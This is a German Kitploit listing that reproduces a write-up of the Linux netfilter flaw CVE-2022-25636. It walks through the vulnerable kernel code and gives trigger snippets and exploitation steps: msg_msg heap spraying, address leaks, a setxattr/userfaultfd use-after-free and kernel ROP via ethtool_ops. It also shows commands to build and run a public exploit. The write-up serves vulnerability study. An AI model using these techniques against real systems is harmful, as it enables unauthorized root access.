Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2022-25636 — CVE-2022-0185 analysis write up | Kitploit
Tools/GitHubGitHub/chenaotian/cve-2022-25636
Privilege EscalationVulnerability AnalysisExploitationLearning & EducationBinary Exploitation
GitHubchenaotian/cve-2022-25636

CVE-2022-25636

CVE-2022-0185 analysis write up

Repository anzeigen
32vor 4 JahrenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2022-25636 netfilter Kernel-Rechteausweitung

[toc]

Einführung in die Schwachstelle

CVE-ID: CVE-2022-25636

Betroffenes Produkt: linux kernel - netfilter

Betroffene Versionen: linux kernel 5.4 ~

Auswirkungen: Im netfilter-Kernelmodul besteht ein Heap-Überschreibungszugriff (out-of-bounds write), der bei Vorhandensein von SYS_ADMIN zu einer Rechteausweitung führen kann.

Einrichtung der Umgebung

Die Schwachstelle befindet sich im netfilter-Kernelmodul. Der betroffene Code liegt in drei .ko-Dateien:

root@kitploit:~
nft_dup_netdev.ko  
nf_dup_netdev.ko 
nf_tables.ko 

Das direkte Starten mit qemu ist problematisch, die Ko-Module werden nicht geladen. Stattdessen wird eine VMware-Zwei-Maschinen-Debugging-Umgebung verwendet.

Unter Ubuntu 21.10 kann der Kernel manuell ersetzt werden:

root@kitploit:~
apt-get install linux-image-5.13.0-30-generic

Anschließend den ursprünglichen Kernel entfernen und den Exploit kompilieren:

root@kitploit:~
git clone https://github.com/Bonfee/CVE-2022-25636.git
apt-get install libmnl-dev
apt-get install libfuse-dev
apt-get install libnftnl-dev
make
./exploit

Ergebnis der Rechteausweitung (Erfolgsrate unter 50%):

image-20220318151010142

Schwachstellenprinzip

Ort der Schwachstelle

Die Schwachstelle befindet sich in der Funktion nft_fwd_dup_netdev_offload:

linux\net\netfilter\nf_dup_netdev.c : 67 : nft_fwd_dup_netdev_offload

root@kitploit:~
int nft_fwd_dup_netdev_offload(struct nft_offload_ctx *ctx,
			       struct nft_flow_rule *flow,
			       enum flow_action_id id, int oif)
{
	struct flow_action_entry *entry;
	struct net_device *dev;

	/* nft_flow_rule_destroy() releases the reference on this device. */
	dev = dev_get_by_index(ctx->net, oif);
	if (!dev)
		return -EOPNOTSUPP;

	entry = &flow->rule->action.entries[ctx->num_actions++];//out-of-bounds
	entry->id = id;
	entry->dev = dev;

	return 0;
}
EXPORT_SYMBOL_GPL(nft_fwd_dup_netdev_offload);

Beim Setzen von flow->rule->action.entries (diese Struktur ist variabel lang) wird keine Prüfung der Heap-Grenzen durchgeführt, was zu einem Out-of-Bounds-Schreibzugriff einer Ganzzahl (4 oder 5) und eines Zeigers führt.

Aufrufstapel

Die Funktion wird in nft_flow_rule_create aufgerufen:

linux\net\netfilter\nf_tables_offload.c : 90 : nft_flow_rule_create

root@kitploit:~
struct nft_flow_rule *nft_flow_rule_create(struct net *net,
					   const struct nft_rule *rule)
{
	struct nft_offload_ctx *ctx;
	struct nft_flow_rule *flow;
	int num_actions = 0, err;
	struct nft_expr *expr;

	expr = nft_expr_first(rule);
	while (nft_expr_more(rule, expr)) {//zähle num_actions basierend auf der Anzahl der übergebenen rule
		if (expr->ops->offload_flags & NFT_OFFLOAD_F_ACTION)
			num_actions++;// nur Einträge mit NFT_OFFLOAD_F_ACTION Flag werden gezählt

		expr = nft_expr_next(expr);
	}

	if (num_actions == 0)
		return ERR_PTR(-EOPNOTSUPP);

	flow = nft_flow_rule_alloc(num_actions);//allokiert Speicher basierend auf num_actions (variabel lange Struktur)
	if (!flow)
		return ERR_PTR(-ENOMEM);

	expr = nft_expr_first(rule);
	//ctx->num_actions wird auf 0 initialisiert ↓
	ctx = kzalloc(sizeof(struct nft_offload_ctx), GFP_KERNEL);
	if (!ctx) {
		err = -ENOMEM;
		goto err_out;
	}
	ctx->net = net;
	ctx->dep.type = NFT_OFFLOAD_DEP_UNSPEC;

	while (nft_expr_more(rule, expr)) {
		if (!expr->ops->offload) {//rufe offload basierend auf der Anzahl der rule auf
			err = -EOPNOTSUPP;
			goto err_out;
		}
		err = expr->ops->offload(ctx, flow, expr);//ruft die Schwachstellenfunktion auf
		if (err < 0)
			goto err_out;

		expr = nft_expr_next(expr);
	}
	··· ···
    ··· ···
}

Man sieht, dass die Funktion nft_flow_rule_create basierend auf der Anzahl der vom Userspace übergebenen rule-Strukturen einen flow-Speicher allokiert und verarbeitet. Die Variable num_actions wird zum Zählen verwendet, aber es werden nur Einträge mit dem NFT_OFFLOAD_F_ACTION-Flag gezählt. Dementsprechend wird Speicher basierend auf num_actions allokiert. Bei der anschließenden Verarbeitung durch offload wird jedoch nicht num_actions für die Schleife verwendet, sondern die gleiche Anzahl wie bei den rule-Einträgen, ohne dabei das NFT_OFFLOAD_F_ACTION-Flag zu prüfen. Das bedeutet, wenn die rule-Einträge auch solche ohne NFT_OFFLOAD_F_ACTION-Flag enthalten, ist die Anzahl der offload-Aufrufe größer als die Anzahl der zuvor allokierten . Im -Aufruf wird die Schwachstellenfunktion aufgerufen, bei jedem Aufruf wird inkrementiert (anfangs 0), sodass schließlich außerhalb des gültigen Bereichs von liegt – ein Out-of-Bounds-Schreibzugriff.

Einige relevante Strukturen:

root@kitploit:~
struct nft_flow_rule {
	__be16			proto;
	struct nft_flow_match	match;
	struct flow_rule	*rule;
};

struct flow_rule {
	struct flow_match	match;
	struct flow_action	action;
};

struct flow_action {
	unsigned int			num_entries;
	struct flow_action_entry	entries[];
};

struct flow_action_entry {
	enum flow_action_id		id;
	enum flow_action_hw_stats	hw_stats;
	action_destr			destructor;
	void				*destructor_priv;
	union {
		u32			chain_index;	/* FLOW_ACTION_GOTO */
		struct net_device	*dev;		/* FLOW_ACTION_REDIRECT */
		··· ···
	};
	struct flow_action_cookie *cookie; /* user defined action cookie */
};

struct nft_offload_ctx {
	struct {
		enum nft_offload_dep_type	type;
		__be16				l3num;
		u8				protonum;
	} dep;
	unsigned int				num_actions;
	struct net				*net;
	struct nft_offload_reg			regs[NFT_REG32_15 + 1];
};

Aufrufstapel:

  • nft_flow_rule_create
    • nft_dup_netdev_offload/nft_fwd_netdev_offload
      • nft_fwd_dup_netdev_offload

Verwendung und Auslösung von netfilter

Referenz: https://www.openwall.com/lists/oss-security/2022/02/21/2

Diese E-Mail beschreibt, wie man netfilter mit den C-Bibliotheken libmnl und libnftnl verwendet. Der Hauptauslöser der Schwachstelle ist, ob die hinzugefügte rule das NFT_OFFLOAD_F_ACTION-Flag besitzt. Nur rule, die mit nftnl_expr_alloc("immediate"); hinzugefügt werden, haben das NFT_OFFLOAD_F_ACTION-Flag:

root@kitploit:~
for(int i = 0; i < legit_writes; i++) {//so hinzugefügte expr verursacht keinen Überlauf
    exprs[exprid] = nftnl_expr_alloc("immediate");
    nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_IMM_DREG, NFT_REG_1);
    nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_IMM_DATA, 1);
    nftnl_rule_add_expr(rule, exprs[exprid]);
    exprid++;
    exprs[exprid] = nftnl_expr_alloc("dup");
    nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_DUP_SREG_DEV, NFT_REG_1);
    nftnl_rule_add_expr(rule, exprs[exprid]);
    exprid++;
}
//so hinzugefügte expr verursacht einen Überlauf
for (int unaccounted_dup = 0; unaccounted_dup < oob_writes; unaccounted_dup++) {
    exprs[exprid] = nftnl_expr_alloc("dup");
    nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_DUP_SREG_DEV, NFT_REG_1);
    nftnl_rule_add_expr(rule, exprs[exprid]);
    exprid++;
}

Ausnutzung der Schwachstelle

Die Ausnutzung ist nicht sehr stabil, aber die genutzte Technik ist raffiniert. Die Schwachstelle erlaubt es, an einer festen Offsetposition im Out-of-Bounds einen nicht kontrollierbaren Zeiger zu schreiben. Persönlich schätze ich den Schwierigkeitsgrad der Ausnutzung als sehr hoch ein. Eine kurze Analyse der technischen Vorgehensweise: Laut dem Schwachstellencode kann jeder Out-of-Bounds-Schreibzugriff nur eine Ganzzahl (id, fest 4 oder 5) und einen Zeiger (*dev) schreiben, wobei der Zeiger auf die Struktur struct net_device zeigt. Wir konzentrieren uns hier auf den dev-Zeiger:

root@kitploit:~
int nft_fwd_dup_netdev_offload(struct nft_offload_ctx *ctx,
			       struct nft_flow_rule *flow,
			       enum flow_action_id id, int oif)
{
	··· ···
	entry = &flow->rule->action.entries[ctx->num_actions++];//out-of-bounds
	entry->id = id;
	entry->dev = dev; //schreibt einen Heap-Zeiger an festem Offset, dev ist eine struct net_device
	··· ···
}

Bezüglich der struct flow_rule-Struktur: Da es sich um eine variabel lange Struktur handelt, hängt die Größe des allokierten Speichers davon ab, ob eine Nutzung möglich ist:

  • Bei nur einer rule hat die Struktur eine Größe von 0x70 und gehört zu kmalloc-128 (0x80). Bei einem Überlauf wird der dev-Zeiger an Offset 0x88 (also 0x8 außerhalb) geschrieben.
  • Bei zwei rule hat die Struktur eine Größe von 0xC0, genau in kmalloc-192 (0xC0). Bei einem Überlauf wird der dev-Zeiger an Offset 0xd8 (also 0x18 außerhalb) geschrieben. Bei zwei Überläufen an Offset 0x18 + 0x50 usw.

Relevante Strukturen:

root@kitploit:~
struct flow_rule {
	struct flow_match	match;
	struct flow_action	action;
};

struct flow_match {
	struct flow_dissector	*dissector;
	void			*mask;
	void			*key;
};

struct flow_dissector {
	unsigned int used_keys; /* jedes Bit repräsentiert das Vorhandensein eines Schlüssel-IDs */
	unsigned short int offset[FLOW_DISSECTOR_KEY_MAX];
};

struct flow_action {
	unsigned int			num_entries;
	struct flow_action_entry	entries[];
};

struct flow_action_entry {//Größe 0x50
	enum flow_action_id		id;
	enum flow_action_hw_stats	hw_stats;
	action_destr			destructor;
	void				*destructor_priv;
	union {
		u32			chain_index;	/* FLOW_ACTION_GOTO */
		struct net_device	*dev;		/* FLOW_ACTION_REDIRECT */
		··· ···
	};
	struct flow_action_cookie *cookie; /* user defined action cookie */
};

Leaken der Adresse der net_device-Struktur

Um die Schwachstelle auszunutzen, müssen zunächst zwei *dev-Adressen geleakt werden. Da zwei verschiedene dev-Adressen benötigt werden, wird eine im aktuellen Prozess und eine im Kindprozess geleakt. Verwendet wird msg_msg zum Leaken (Technik: msg_msg). Heap-Spray mit msg der Größe 0x1040. Aufgrund der Struktur von msg wird dies in zwei Segmente aufgeteilt: das zweite Segment hat eine Länge von 0x70, plus Header wird es in kmalloc-128 allokiert. Dann wird eine msg freigegeben, wodurch ein kmalloc-128 freigegeben wird. Anschließend wird eine flow_rule mit nur einer rule verwendet, die auch in kmalloc-128 fällt, in der Hoffnung, denselben freigegebenen kmalloc-128 des msg_msgseg zu erhalten. Dies ergibt folgende Heap-Anordnung:

image-20220320175028938

Wenn flow_rule die freigegebene msg_msgseg-Struktur erhält, grenzt sie wahrscheinlich an andere Heap-Spray-msg_msgseg-Strukturen an. Ein einmaliger Out-of-Bounds-Schreibzugriff schreibt an Offset 0x8 einen net_device-Heap-Zeiger (dev-Zeiger). Wenn dann alle gesprayten Nachrichten empfangen werden, kann dieser Heap-Zeiger gelesen werden. So wird die Adresse für die spätere Nutzung geleakt, ohne dass ein Absturz verursacht wird.

UAF mit setxattr zum Leaken von KASLR

Als Nächstes wird KASLR (Kernel-Adressverschiebung) geleakt, um die Kernel-Basisadresse zu erhalten. Mit der gleichen Methode wird wieder msg_msg + Heap-Spray verwendet: Heap-Spray mit vielen msg der Größe kmalloc-192, diesmal wird das erste Segment von msg_msg als Ziel des Heap-Spray verwendet. Dann wird wie zuvor eine msg freigegeben und eine flow_rule allokiert, in der Hoffnung, folgende Heap-Anordnung zu erhalten:

image-20220320184800730

Diesmal wird eine flow_rule mit zwei rule verwendet (Größe 0xC0, genau kmalloc-192). Wenn sechs Out-of-Bounds-Schreibzugriffe erfolgen, wird an Offset 0x18 + 0x50*5 ein *dev-Zeiger geschrieben, genau an Offset 0x28 des dritten kmalloc-192 darunter. Wenn dies eine msg_msg-Struktur ist, handelt es sich um den security-Zeiger. Wenn nun mit msgrcv diese msg_msg-Struktur freigegeben wird, wird kfree aufgerufen, um den Speicher freizugeben, auf den der security-Zeiger zeigt – das ist die beliebige Adressfreigabe-Primitive für msg_msg->security. Der relevante Code:

root@kitploit:~
static long do_msgrcv(int msqid, void __user *buf, size_t bufsz, long msgtyp, int msgflg,
	       long (*msg_handler)(void __user *, struct msg_msg *, size_t))
{		
    ··· ···
    ··· ···
	free_msg(msg); 			
	··· ···
}

void free_msg(struct msg_msg *msg)
{
	··· ···
	security_msg_msg_free(msg);
	··· ···
}

void security_msg_msg_free(struct msg_msg *msg)
{
	call_void_hook(msg_msg_free_security, msg);
	kfree(msg->security);
	msg->security = NULL;
}

Wenn nun die zuvor gesprayten Nachrichten empfangen werden, wird der dev-Zeiger, der den security-Zeiger überschrieben hat, freigegeben – also die net_device-Struktur. Anschließend wird setxattr + userfaulted verwendet, um diesen Heap-Block zu manipulieren und einen Use-After-Free (UAF) zu erreichen. setxattr kann Heap-Blöcke beliebiger Größe anfordern, beliebige Daten hineinschreiben und dann wieder freigeben. Dies ist eine gängige Technik bei Kernel-Exploits.

Da aktuell viele freie kmalloc-192-Blöcke vorhanden sind, reicht ein einzelner setxattr-Aufruf nicht aus. Daher wird mit mehreren Threads gleichzeitig setxattr aufgerufen, und mit userfaulted wird die Aufrufzeit verlängert und die Belegungsdauer des Heap-Blocks erhöht. Ziel ist es, mehr Kernel-Heap-Blöcke zu allozieren und schließlich den gerade freigegebenen net_device-Block zu erhalten. Wenn dies gelingt, kann der Inhalt der net_device-Struktur geändert werden, z. B. der Zeiger dev_addr durch den Zeiger netdev_ops (der initial auf loopback_ops zeigt), sowie einige Namen, um die erfolgreiche Änderung zu überprüfen:

root@kitploit:~
    ((uint64_t*)(setxattr_bufs[i]))[2] = 0x6f6c; // dev->name = "lo"
    ((uint64_t*)(setxattr_bufs[i]))[104] = child_net_device_leak + 0xc8; // set dev_addr ptr
    ((uint64_t*)(setxattr_bufs[i]))[78] = 0x0808080800000000; // set addr_len to '0x08'
    ((uint64_t*)(setxattr_bufs[i]))[28] = 0x42424242; // ifindex

Anschließend wird mit dem ioctl eines Sockets mit SIOCGIFHWADDR die physische Adresse ausgelesen, was die Adresse von loopback_ops liefert, und damit der Kernel-Basisadresse. Einige nützliche Member von net_device:

root@kitploit:~
struct net_device {
	char			name[IFNAMSIZ]; //name ändern, um Korrektheit zu prüfen
	··· ···
	const struct net_device_ops *netdev_ops;//initialisiert, wird für Leak verwendet
	int			ifindex;   
	·· ···
	const struct  ethtool_ops *ethtool_ops; //für ROP zur Übernahme des Ausführungspfads
	··· ···
	unsigned char		addr_len; //für Leselänge der Adresse
	··· ···
	unsigned char		*dev_addr; //manipuliert für Adress-Leak, wird von SIOCGIFHWADDR gelesen
};

Zweites UAF für Kernel-ROP

Mit der gleichen Methode (setxattr + userfaulted) wird ein zweiter UAF durchgeführt. Jetzt, da die Kernel-Basisadresse bekannt ist, wird direkt der ethtool_ops der net_device-Struktur manipuliert, um den Ausführungspfad (EIP) zu übernehmen. Dann wird mit dem ioctl eines Sockets mit SIOCETHTOOL eine Funktion in ethtool_ops aufgerufen, was die Übernahme des Ausführungspfads ermöglicht. Anschließend wird ein ROP (Return-Oriented Programming) durchgeführt. Ein erfolgreicher Exploit unter Ubuntu 21.10 mit Kernel 13.0-30:

Exploit: https://github.com/Bonfee/CVE-2022-25636

image-20220318151010142

Referenzen

E-Mail: https://www.openwall.com/lists/oss-security/2022/02/21/2

Autor-Dokument: https://nickgregory.me/linux/security/2022/03/12/cve-2022-25636/

Exploit: https://github.com/Bonfee/CVE-2022-25636

Tool herunterladen
flow->rule->action.entries
offload
nft_fwd_dup_netdev_offload
ctx->num_actions
ctx->num_actions
flow->rule->action.entries